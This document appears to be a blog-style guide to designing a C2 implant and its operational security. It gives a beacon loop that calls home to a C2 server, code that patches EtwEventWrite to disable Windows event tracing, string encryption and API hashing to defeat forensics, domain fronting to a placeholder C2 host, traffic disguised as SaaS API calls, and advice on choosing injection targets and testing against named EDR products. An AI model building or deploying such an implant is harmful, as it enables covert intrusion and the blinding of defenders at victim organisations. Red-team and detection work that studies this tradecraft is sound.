Designing a Modern C2 Implant: Architecture and OPSEC
A comprehensive guide to C2 implant architecture - covering communication protocols, execution models, sleep patterns, anti-forensics, and operational security considerations.
Core Architecture Decisions
Every implant design starts with three questions: How does it talk? How does it execute? How does it hide?
Communication Model
HTTP/S Polling - The most common. Implant periodically calls home (beacon) over HTTPS. Pros: blends with web traffic, CDN-compatible. Cons: periodic pattern detectable.
DNS - Queries to attacker-controlled nameserver. Pros: passes most firewalls. Cons: low bandwidth (TXT records ~ 255 bytes), higher latency.
Named Pipes - For lateral movement between compromised hosts. One host beacons externally, others chain through internal pipes. Pros: no network egress per host. Cons: requires SMB access.
WebSockets - Persistent bidirectional connection. Pros: real-time interaction, lower latency. Cons: long-lived connections are anomalous.
Recommended: Layered Approach
External beacon (HTTPS) ← Edge host
↕ Named Pipe
Internal host A ← No external network access
↕ Named Pipe
Internal host B
↕ SMB
Domain Controller
The Beacon Loop
The fundamental implant loop:
loop {
// 1. Sleep with jitter
let jitter = base_sleep * (1.0 + random(-0.2, 0.2));
sleep_obfuscated(jitter);
// 2. Check in - POST to C2
let tasks = http_post("/api/beacon", &session_metadata);
// 3. Execute tasks
for task in tasks {
let result = execute_task(task);
results.push(result);
}
// 4. Return results
if !results.is_empty() {
http_post("/api/results", &encrypt(results));
}
}
Jitter Implementation
Without jitter, beacons create a detectable periodic pattern. With 20% jitter on a 30-second base:
No jitter: 30s, 30s, 30s, 30s → trivially detected
20% jitter: 26s, 33s, 28s, 35s → harder to fingerprint
Network monitoring tools look for periodicity in connection timing. Always implement jitter.
Task Execution Models
In-Process Execution (Preferred)
Execute everything in the implant’s own process. No child processes, no cmd.exe, no powershell.exe. This means:
- BOFs for extending functionality without new processes
- Inline .NET assembly via CLR hosting for C# tools
- Reflective DLL loading for complex tooling
- Direct syscalls for all sensitive API calls
Fork & Run (Legacy)
Spawn a sacrificial process, inject shellcode, wait for output, kill the process. Used by older Cobalt Strike payloads. Generates telemetry:
- Process creation events (Event 4688, Sysmon 1)
- Cross-process injection detection
- Suspicious parent-child relationships (beacon → notepad)
Inline Execution Challenges
Memory must be carefully managed. Loaded assemblies and DLLs persist in memory. Implement cleanup routines that zero out and free memory after execution. Watch for CLR artifacts - once the .NET runtime is loaded, it can’t be unloaded.
Anti-Forensics
String Encryption
Never store strings in plaintext. At minimum, XOR at compile time with a per-build key:
// Compile-time string encryption
#define ENC_STR(s, key) encrypted_string(s, sizeof(s)-1, key)
// Runtime decryption only when needed, zero after use
char* dec = decrypt(enc_kernel32, key);
HMODULE k32 = GetModuleHandleA(dec);
memset(dec, 0, strlen(dec));
free(dec);
API Hashing
Don’t store API function names. Hash them and resolve at runtime:
// djb2 hash of "NtAllocateVirtualMemory"
#define H_NtAllocateVirtualMemory 0x1a22c987
FARPROC resolve(DWORD hash) {
// Walk PEB → LDR → module list → export table
// Hash each export name, compare with target
}
ETW and AMSI Patching
Patch before any execution:
// Patch EtwEventWrite → ret
void* etw = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DWORD old; VirtualProtect(etw, 1, PAGE_READWRITE, &old);
*(BYTE*)etw = 0xC3; // ret
VirtualProtect(etw, 1, old, &old);
Memory Indicators
Cobalt Strike beacons are detected by memory patterns. Your custom implant should:
- Use unique XOR keys per build (not static)
- Randomize PE headers or erase them after loading
- Avoid common magic bytes in configuration blocks
- Fragment data structures across non-contiguous allocations
Network OPSEC
Domain Fronting
Route C2 traffic through CDN so the network connection appears to go to a legitimate site:
Implant → TLS to cdn.cloudflare.com (SNI)
→ Host: your-c2.workers.dev (HTTP header)
→ CDN routes to your C2 based on Host
Malleable Traffic Profiles
Customize HTTP requests to mimic legitimate services:
GET /api/v2/users/profile HTTP/1.1
Host: api.legitimate-saas.com
Authorization: Bearer eyJhbG...
Content-Type: application/json
X-Request-ID: <encrypted_beacon_data>
Certificate Management
- Register C2 domains months in advance
- Get them categorized as “Technology” or “Business”
- Use Let’s Encrypt for valid certificates
- Rotate domains on a schedule
Process Injection OPSEC
If you must inject into another process, choose targets carefully:
| Target Process | Risk Level | Why |
|---|---|---|
| explorer.exe | Medium | Always running, network access normal |
| svchost.exe | Low-Medium | Many instances, network expected |
| RuntimeBroker.exe | Low | Common, short-lived, not heavily monitored |
| notepad.exe | HIGH | No network activity expected - immediate flag |
| cmd.exe / powershell.exe | CRITICAL | Always monitored |
Testing Your Implant
Before operational use, test against:
- Windows Defender - Baseline AV, catches obvious patterns
- CrowdStrike Falcon - Industry-leading EDR, aggressive hooking
- Elastic Security - Open rules you can study
- YARA rules - Run public CS/Sliver/Mythic rule sets against your binary
The best implant is one that blends in so well it looks like legitimate software. Every decision - from communication timing to process selection to string handling - should answer the question: “Would this look normal to a defender?”